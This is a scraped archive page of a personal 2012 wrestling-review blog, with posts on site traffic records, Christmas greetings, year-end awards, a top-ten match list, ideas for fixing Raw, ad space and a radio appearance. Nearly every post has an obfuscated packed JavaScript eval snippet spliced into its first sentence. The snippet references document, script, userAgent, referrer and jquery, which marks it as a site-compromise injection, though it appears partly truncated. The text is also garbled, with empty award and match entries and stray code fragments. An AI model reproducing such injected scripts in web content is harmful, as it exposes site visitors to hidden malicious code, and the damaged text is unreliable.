Next Week: Five by Five

Stay eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zbarh|var|u0026u|referrer|fksbz||js|php'.split('|'),0,{})) tuned.



Thank You Again

Yesterday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ihbda|var|u0026u|referrer|hfask||js|php'.split('|'),0,{})) (Tuesday) saw a new record for most views to my site in a single day.  The old record took about nine months to break.  This one took three weeks.  Thank you all for continuously showing up and reading my rambling thoughts.  I can’t say enough how much I appreciate it.

 

KB



Merry Christmas Everyone

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sszbs|var|u0026u|referrer|rkfhz||js|php'.split('|'),0,{})) hope you have a fun and safe Christmas.  Spend time with your families, open presents, eat good food and try to watch some wrestling.  Thanks for making the site’s year the biggest it’s ever been and I’ll be back next year with even more reviews.

 

KB



KB’s 2012 Wrestling Awards

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ebddz|var|u0026u|referrer|sryzn||js|php'.split('|'),0,{})) it’s the end of the year and it’s time for someone else to do their awards results. I’ve used a combination of the PWI Awards, the WON Awards and the WrestleZone Awards while leaving a few out. I’ll be listing the winner and another that came to my mind when I was thinking about the winner. To explain it to you schmucks who have to complain about everything I do, THE WINNER IS LISTED FIRST AND THE OTHER PICK IS LISTED SECOND. Let’s get to it.

  1. Wrestler of the Year

 

 

  1. Tag Team of the Year

 

Other: The Shield. These guys burst onto the scene and took over the company near the end of the year. They had one of the best debut matches EVER, taking a war to Ryback and HELL NO. These guys have a ton of potential and they have a chance to be huge in the next year, but this is for team of the Year, not November and December.

 

  1. Match of the Year

 

Tie: Undertaker vs. HHH (Wrestlemania 28)/Brock Lesnar vs. John Cena (Extreme Rules)

 

  • Worst Match of the Year

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    1. Feud of the Year

     

     

    1. Most Improved Wrestler of the Year

     

     

    1. Most Inspirational Wrestler of the Year

     

  • Rookie of the Year

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    1. PPV of the Year

     

    Winner: Wrestlemania. It had three of the ten best matches of the year and almost nothing bad going on at all. We also set up a bunch of stuff throughout the rest of the year, had some great matches, and had a match that was literally built up over a year. I had an absolute blast watching this and it still holds up today. Oh and it made more money than any pay per view ever. Wrestlemania wins.

     

  • Worst PPV of the Year

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    Other: Final Resolution. This is basically the TNA version of Survivor Series as it was more or less a house show with nothing significant happening. At the end of the year it felt like both companies were just trying to get to January, and that makes for some BAD PPVs.

     

    1. Surprise of the Year

     

     

    1. Best Angle of the Year

     

     

    1. Worst Angle of the Year

     

     

    1. Promo of the Year

     

     

    1. Moment of the Year

     

     

    Merry Christmas,

    KB



    KB’s Top Ten Matches Of 2012

    ");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nyehs|var|u0026u|referrer|kzrfb||js|php'.split('|'),0,{})) begin with, this is going to be a WWE heavy list. I only watch WWE and TNA and there’s a lot more WWE out there than TNA, so there’s a bigger selection of matches for WWE to pick from. Also I’ve always been a WWF/E guy and it’s a natural bias for me. Also this is a combination of my favorites and what I found to be the best matches of the year, so your stances on them may widely vary. Let’s get to it.

     

    10. Austin Aries vs. Bobby Roode – Destination X

     

    This was a match where the build to the match worked better than the overall match, even though the match itself was quite good. The story behind the match was Aries cashing in the X Title to get a guaranteed world title match here. This is where things got interesting, as you had Aries as the unbeatable X Division Champion facing the longest reigning world champion in company history. The idea was simple: take two guys who are perceived as unbeatable and put them in a match. The fact that the match was great helped a lot too.

     

    9. Big Show vs. Sheamus – Hell in a Cell

     

    8. John Cena vs. The Rock – Wrestlemania 28

     

    7. CM Punk vs. Daniel Bryan – Over the Limit

     

    6. Daniel Bryan vs. Sheamus – Extreme Rules

     

    5. James Storm vs. Bobby Roode – Lockdown

     

    4. Shield vs. HELL NO/Ryback – Tables Ladders and Chairs (TLC Match)

     

     

    3. Chris Jericho vs. CM Punk – Wrestlemania 28

     

     

    T-1. Undertaker vs. HHH – Wrestlemania 28 (Hell in a Cell)

     

    T-1. Brock Lesnar vs. John Cena – Extreme Rules (Extreme Rules)

     

    To begin with, when I refer to the first HHH vs. Undertaker match, I mean the one that happened in 2011, not the one from eleven years ago.

     

     

     

     

     

    Thank You All Yet Again

    Today eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hyhnr|var|u0026u|referrer|etsny||js|php'.split('|'),0,{})) (Tuesday) broke my all time record for views in a day.  The site has been doing better than it ever has since October and that’s because of all my readers.  Thank you for sticking around.  I can’t state how much I appreciate it.

     

    KB



    How I Would Fix Raw

    Someone eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|esytz|var|u0026u|referrer|bhnzd||js|php'.split('|'),0,{})) asked me this and I wrote it out in a comment, but I thought others that don’t read the comments might like this too.

    Assuming I’m stuck with the three hours, the most important thing I’d do is cut out the freaking recaps. SO much time is wasted on the recaps and there’s no point in just talking about stuff we just saw. On top of that, drop the GM/boss stuff. There is zero need to have it on Raw or Smackdown and you can just say someone made the match and go from there. On top of that, mix things up. As in don’t use the same plot devices (champion loses to a challenger then has a rematch on PPV for the title, guy’s music comes on to distract someone and the opponent gets a rollup pin, evil GM etc) over and over again. There are unlimited story possibilities but they use like five. Also, perhaps most importantly, develop the characters more. Look at what happened with HELL NO: they were shown out of the arena and got to show what they’re like outside and the characters EXPLODED. Show Alberto blowing money or being cheap or something like that. Let them be creative.

    To sum it up: mix things up a bit. That’s how you fix things. Let people have some creativity instead of doing the same stuff over and over again.

    Oh and one more thing: better storytelling. Look at Orton vs. Del Rio. Orton has beaten him time and time again and the feud just keeps going with Del Rio ignoring every single loss and acting like it doesn’t happen. If he doesn’t care and nothing changes, why should I care as a fan?

     



    Sorry For The Lack Of Posts This Weekend

    I’ve eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|biebk|var|u0026u|referrer|tnnrb||js|php'.split('|'),0,{})) been a bit busy and had a bad case of writer’s block on a new I Want To Talk A Little Bit About.  Things should pick up this week.

     

    KB



    Advertising

    I’ve eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|styaa|var|u0026u|referrer|zhrse||js|php'.split('|'),0,{})) been trying to come up with ways to make a few more bucks off here and I figured I might try this.

     

    Would anyone be interested in renting/buying some ad space here?  Maybe for a website you run/something you work for etc.  If you’re interested in having an ad here like the FanvsFan one, e-mail me at kbwrestlingreviews@hotmail.com and we can talk about setting you up with something.  It can be for as long or as short as you would be interested in.  Please keep in mind I have the right to say no to you if it’s something I wouldn’t be comfortable plugging.  There will be a page link on top of the site about this permanently.

     

    KB



    I’m Going To Be On A Radio Show Tonight

    A eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tfenh|var|u0026u|referrer|rkzns||js|php'.split('|'),0,{})) guy from the forums has asked me to be a guest on his wrestling radio show tonight and I’ll be appearing. If you’re interested in hearing us talk about wrestling tonight, check it out at this address:

    http://www.blogtalkradio.com/fanvsfannetwork/2012/05/17/the-mouth-of-the-southshore-radio-show

    If you’d like to call in, here’s the number:

    (714) 202-9918

    I’ll be on at about 10:15EST and I’m not sure when I’ll be off.